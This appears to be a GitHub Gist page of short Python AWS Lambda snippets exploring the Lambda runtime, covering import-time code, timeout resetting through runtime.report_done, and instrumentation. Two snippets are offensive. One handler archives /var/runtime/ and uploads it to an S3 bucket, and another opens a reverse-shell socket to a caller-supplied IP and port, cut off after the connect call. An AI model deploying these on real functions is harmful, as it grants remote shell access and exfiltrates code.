Skip to content

Instantly share code, notes, and snippets.

@galbash
galbash / lambda_with_init.py
Created April 25, 2018 07:10
A lambda that runs code on import, as well as when the handler is called.
# Make a calculation taking up some run time
print 'Beginning'
for i in xrange(100000000):
x = i * i
print 'Done'
def hello(event, context):
"""
Returns Success
@galbash
galbash / report_done_from_lambda.py
Created April 25, 2018 07:09
a Lambda that calls the Lambda runtime from with
import time
import runtime as lambda_runtime
def send_report_end(event, context):
"""
A Lambda that calls report_done from within the code
"""
print "Beginning"
lambda_runtime.report_done(context.aws_request_id, None, 'Success', 0)
time.sleep(1)
@galbash
galbash / reset_timeout.py
Created April 25, 2018 07:08
A lambda resetting its timeout by calling lambda_runtime.report_done
import time
import runtime as lambda_runtime
def reset_timeout(event, context):
"""
A lambda resetting its timeout by calling lambda_runtime.report_done
"""
print "Remaining time: ", context.get_remaining_time_in_millis()
time.sleep(10)
@galbash
galbash / instrumented.py
Created April 16, 2018 10:50
A Lambda whose invocations are being instrumented.
import instrumenter
def hello(event, context):
print 'Hello'
return 'Success'
@galbash
galbash / intsrumenter.py
Created April 16, 2018 10:46
Instruments all Lambda invocations
import wrapt
def wrapper(wrapped, instance, args, kwargs):
"""
Wrap all Lambda invocations and prints a log before calling it.
"""
request_handler = args[0]
def _wrapper(event, context):
print 'This is a log'
@galbash
galbash / download_lambda_runtime.py
Created April 15, 2018 09:17
Downloads the lambda runtime directory
import os
def download_code(event, context):
"""
Download the runtime environment of a lambda to a given s3 bucket.
"""
os.system("/bin/tar -zcvf /tmp/code.tar.gz /var/runtime/")
with open("/tmp/code.tar.gz", "rb") as code:
s3.upload_fileobj(code, event['bucket_name'], 'code.tar.gz')
@galbash
galbash / shell_handler.py
Last active April 15, 2018 09:18
A simple Lambda handler that opens a shell and back connect to a server.
import os
import socket
import subprocess
def shell(event, context):
"""
Opens a reverse shell to a lambda.
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((event["ip"], event["port"], ))
@galbash
galbash / lambda_with_libs.py
Created February 24, 2018 19:36
a python AWS-Lambda example which uses external libraries
import requests
def is_epsagon_ok(event, context):
"""
a simple get request to epsagon's domain to see if it is OK
"""
response = requests.get("https://epsagon.com")
if response.status_code == 200:
return "Epsagon is UP!"